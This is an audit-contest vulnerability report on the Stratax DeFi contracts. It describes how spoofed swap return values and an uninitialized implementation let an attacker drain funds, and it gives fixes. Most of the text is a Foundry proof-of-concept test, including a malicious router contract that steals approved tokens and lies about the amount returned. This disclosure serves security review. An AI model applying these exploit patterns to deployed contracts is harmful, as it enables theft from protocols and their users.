Stratax Contracts

First Flight #57
Beginner FriendlyDeFi
100 EXP
Submission Details
Impact: high
Likelihood: medium

Arbitrary swap calldata trust allows fake swap return and reserve drain during leveraged position opening

Author Revealed upon completion

Root + Impact

Description

  • Stratax executes arbitrary swap calldata through a low-level call and trusts the router-reported return amount instead of verifying real token inflow.

    • In Stratax.sol (line 612)"), _call1InchSwap() performs address(oneInchRouter).call(_swapParams) and uses decoded returnAmount as truth.

    • In Stratax.sol (line 510)"), borrowed tokens are approved to the router, and in (lines 517-518)") only a residual borrow-token balance check is enforced.

    • In Stratax.sol (lines 521-535)"), flash loan repayment proceeds if the reported return amount is high enough, even when actual received funds are insufficient.

  • As a result, malicious swap execution can transfer approved borrow tokens away and spoof a return value, while the protocol unintentionally covers repayment from its own reserves.

Risk

Likelihood:

  • Exploitation requires the attacker to influence the swap payload submitted by the position owner (for example via compromised quote backend/frontend/integration). Once malicious calldata is submitted, on-chain checks can still pass.

Impact:

  • An attacker can siphon borrowed tokens and force the protocol to repay flash loans from pre-existing reserves/collateral held by the Stratax contract, causing direct fund loss and potential insolvency.

Proof of Concept

source /Users/user/.zshenv
cd /Users/user/tools/web3/2026-02-stratax-contracts
forge test --match-path "/Users/user/tools/web3/2026-02-stratax-contracts/test/unit/StrataxSecurity.t.sol" --match-test test_PoC_MaliciousSwapDataCanDrainContractReserve -vvvv
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Test} from "forge-std/Test.sol";
import {Stratax} from "../../src/Stratax.sol";
import {IPool} from "../../src/interfaces/external/IPool.sol";
contract MockERC20 {
string public name;
string public symbol;
uint8 public immutable decimals;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
constructor(string memory _name, string memory _symbol, uint8 _decimals) {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
function transfer(address to, uint256 amount) external returns (bool) {
_transfer(msg.sender, to, amount);
return true;
}
function approve(address spender, uint256 amount) external returns (bool) {
allowance[msg.sender][spender] = amount;
return true;
}
function transferFrom(address from, address to, uint256 amount) external returns (bool) {
uint256 allowed = allowance[from][msg.sender];
require(allowed >= amount, "ALLOWANCE");
allowance[from][msg.sender] = allowed - amount;
_transfer(from, to, amount);
return true;
}
function mint(address to, uint256 amount) external {
totalSupply += amount;
balanceOf[to] += amount;
}
function _transfer(address from, address to, uint256 amount) internal {
require(balanceOf[from] >= amount, "BALANCE");
balanceOf[from] -= amount;
balanceOf[to] += amount;
}
}
interface IFlashLoanReceiver {
function executeOperation(address asset, uint256 amount, uint256 premium, address initiator, bytes calldata params)
external
returns (bool);
}
contract MockPool is IPool {
uint128 public premiumBps = 9;
mapping(address => mapping(address => uint256)) public supplied;
mapping(address => mapping(address => uint256)) public borrowed;
mapping(address => uint256) public totalSupplied;
mapping(address => uint256) public totalBorrowed;
function FLASHLOAN_PREMIUM_TOTAL() external view returns (uint128) {
return premiumBps;
}
function flashLoanSimple(address receiverAddress, address asset, uint256 amount, bytes calldata params, uint16)
external
{
MockERC20(asset).mint(receiverAddress, amount);
uint256 premium = (amount * premiumBps) / 10_000;
bool ok = IFlashLoanReceiver(receiverAddress).executeOperation(asset, amount, premium, msg.sender, params);
require(ok, "CALLBACK_FAIL");
MockERC20(asset).transferFrom(receiverAddress, address(this), amount + premium);
}
function supply(address asset, uint256 amount, address onBehalfOf, uint16) external {
MockERC20(asset).transferFrom(msg.sender, address(this), amount);
supplied[onBehalfOf][asset] += amount;
totalSupplied[onBehalfOf] += amount;
}
function borrow(address asset, uint256 amount, uint256, uint16, address onBehalfOf) external {
borrowed[onBehalfOf][asset] += amount;
totalBorrowed[onBehalfOf] += amount;
MockERC20(asset).mint(msg.sender, amount);
}
function repay(address asset, uint256 amount, uint256, address onBehalfOf) external returns (uint256) {
uint256 debt = borrowed[onBehalfOf][asset];
uint256 repaid = amount > debt ? debt : amount;
borrowed[onBehalfOf][asset] = debt - repaid;
totalBorrowed[onBehalfOf] -= repaid;
MockERC20(asset).transferFrom(msg.sender, address(this), repaid);
return repaid;
}
function withdraw(address asset, uint256 amount, address to) external returns (uint256) {
uint256 bal = supplied[msg.sender][asset];
uint256 withdrawn = amount > bal ? bal : amount;
supplied[msg.sender][asset] = bal - withdrawn;
totalSupplied[msg.sender] -= withdrawn;
MockERC20(asset).transfer(to, withdrawn);
return withdrawn;
}
function getUserAccountData(address user)
external
view
returns (
uint256 totalCollateralBase,
uint256 totalDebtBase,
uint256 availableBorrowsBase,
uint256 currentLiquidationThreshold,
uint256 ltv,
uint256 healthFactor
)
{
uint256 collateral = totalSupplied[user];
uint256 debt = totalBorrowed[user];
totalCollateralBase = collateral;
totalDebtBase = debt;
availableBorrowsBase = 0;
currentLiquidationThreshold = 9000;
ltv = 8000;
healthFactor = debt == 0 ? type(uint256).max : (collateral * 3e18) / debt;
}
}
contract MockDataProvider {
address public variableDebtToken;
constructor(address _variableDebtToken) {
variableDebtToken = _variableDebtToken;
}
function getReserveConfigurationData(address)
external
pure
returns (
uint256 decimals,
uint256 ltv,
uint256 liquidationThreshold,
uint256 liquidationBonus,
uint256 reserveFactor,
bool usageAsCollateralEnabled,
bool borrowingEnabled,
bool stableBorrowRateEnabled,
bool isActive,
bool isFrozen
)
{
return (18, 8000, 9000, 0, 0, true, true, false, true, false);
}
function getReserveTokensAddresses(address) external view returns (address, address, address) {
return (address(0), address(0), variableDebtToken);
}
}
contract MockOracle {
mapping(address => uint256) public prices;
function setPrice(address token, uint256 price) external {
prices[token] = price;
}
function getPrice(address token) external view returns (uint256) {
uint256 price = prices[token];
require(price > 0, "NO_PRICE");
return price;
}
}
contract MaliciousRouter {
function stealAndLie(address token, address victim, address thief, uint256 amount, uint256 fakeReturnAmount)
external
returns (uint256 returnAmount, uint256 spentAmount)
{
MockERC20(token).transferFrom(victim, thief, amount);
return (fakeReturnAmount, amount);
}
}
contract StrataxSecurityTest is Test {
Stratax internal stratax;
MockPool internal pool;
MockDataProvider internal dataProvider;
MaliciousRouter internal maliciousRouter;
MockOracle internal oracle;
MockERC20 internal collateral;
MockERC20 internal debt;
MockERC20 internal variableDebt;
address internal ownerTrader = address(0x1234);
address internal attacker = address(0xBEEF);
function setUp() public {
collateral = new MockERC20("Collateral", "COL", 18);
debt = new MockERC20("Debt", "DEBT", 18);
variableDebt = new MockERC20("VariableDebt", "vDEBT", 18);
pool = new MockPool();
dataProvider = new MockDataProvider(address(variableDebt));
maliciousRouter = new MaliciousRouter();
oracle = new MockOracle();
stratax = new Stratax();
stratax.initialize(address(pool), address(dataProvider), address(maliciousRouter), address(collateral), address(oracle));
stratax.transferOwnership(ownerTrader);
}
function test_PoC_MaliciousSwapDataCanDrainContractReserve() public {
uint256 flashLoanAmount = 100e18;
uint256 collateralAmount = 100e18;
uint256 borrowAmount = 50e18;
uint256 reserveBuffer = 200e18;
uint256 premium = (flashLoanAmount * pool.premiumBps()) / 10_000;
collateral.mint(ownerTrader, collateralAmount);
collateral.mint(address(stratax), reserveBuffer);
bytes memory maliciousSwapData = abi.encodeWithSelector(
MaliciousRouter.stealAndLie.selector,
address(debt),
address(stratax),
attacker,
borrowAmount,
flashLoanAmount + premium
);
vm.startPrank(ownerTrader);
collateral.approve(address(stratax), collateralAmount);
stratax.createLeveragedPosition(
address(collateral),
flashLoanAmount,
collateralAmount,
address(debt),
borrowAmount,
maliciousSwapData,
flashLoanAmount + premium
);
vm.stopPrank();
assertEq(debt.balanceOf(attacker), borrowAmount, "attacker should receive all borrowed debt tokens");
assertEq(
collateral.balanceOf(address(stratax)),
reserveBuffer - flashLoanAmount - premium,
"contract reserve should be consumed to repay flash loan"
);
}
function test_PoC_ImplementationCanBeInitializedByAnyone() public {
Stratax implementation = new Stratax();
MockERC20 strayToken = new MockERC20("Stray", "STR", 18);
uint256 strayAmount = 10e18;
strayToken.mint(address(implementation), strayAmount);
vm.prank(attacker);
implementation.initialize(address(pool), address(dataProvider), address(maliciousRouter), address(collateral), address(oracle));
assertEq(implementation.owner(), attacker, "attacker should become implementation owner");
vm.prank(attacker);
implementation.recoverTokens(address(strayToken), strayAmount);
assertEq(strayToken.balanceOf(attacker), strayAmount, "attacker should drain tokens from implementation");
}
}

Recommended Mitigation

  1. Do not trust router-returned returnAmount; compute actual output via balance delta (postBalance - preBalance) of the expected output token.

  2. Strictly validate swap calldata intent (selector/recipient/token direction) and reject unexpected execution paths.

  3. Enforce that swap receiver is address(this) and output token matches _asset expected by repayment logic.

  4. Keep approvals minimal and short-lived (approve exact amount, reset to zero after use).

  5. Add regression tests that fail on spoofed return values and malicious payload behavior.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!